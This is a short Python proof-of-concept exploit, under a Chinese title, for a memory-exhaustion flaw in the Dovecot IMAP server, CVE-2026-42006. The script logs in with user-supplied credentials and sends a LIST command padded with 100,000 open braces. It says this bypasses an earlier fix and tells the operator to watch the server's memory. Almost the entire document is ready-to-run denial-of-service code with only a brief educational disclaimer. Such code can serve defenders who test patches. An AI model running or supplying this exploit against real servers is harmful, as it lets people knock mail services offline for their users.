CVE-2026-42006 Dovecot IMAP内存耗尽漏洞

#!/usr/bin/env python3 """ Proof of Concept for CVE-2026-42006 Demonstrates memory exhaustion via excessive open braces in IMAP. Note: For educational purposes only. """ import socket import sys def send_exploit(target, port, username, password): print(f"[*] Connecting to {target}:{port}...") try: # Establish TCP connection to IMAP server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) # Read server banner banner = s.recv(1024).decode() print(f"[+] Server banner: {banner.strip()}") # Authenticate print(f"[*] Authenticating as {username}...") s.send(f"* LOGIN {username} {password}\r\n".encode()) resp = s.recv(1024).decode() if "OK" not in resp: print("[-] Authentication failed.") return print("[+] Authentication successful.") # Send payload with excessive open braces # Bypasses the fix for CVE-2026-27857 which only blocked closing braces print("[*] Sending malicious payload with excessive open braces...") # Creating a large string of open braces payload = "A001 LIST INBOX " + "{" * 100000 + "}\r\n" s.send(payload.encode()) # Wait for server response or timeout print("[+] Payload sent. Monitor server memory usage.") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python3 {sys.argv[0]} <target_ip> <port> <user> <pass>") sys.exit(1) send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])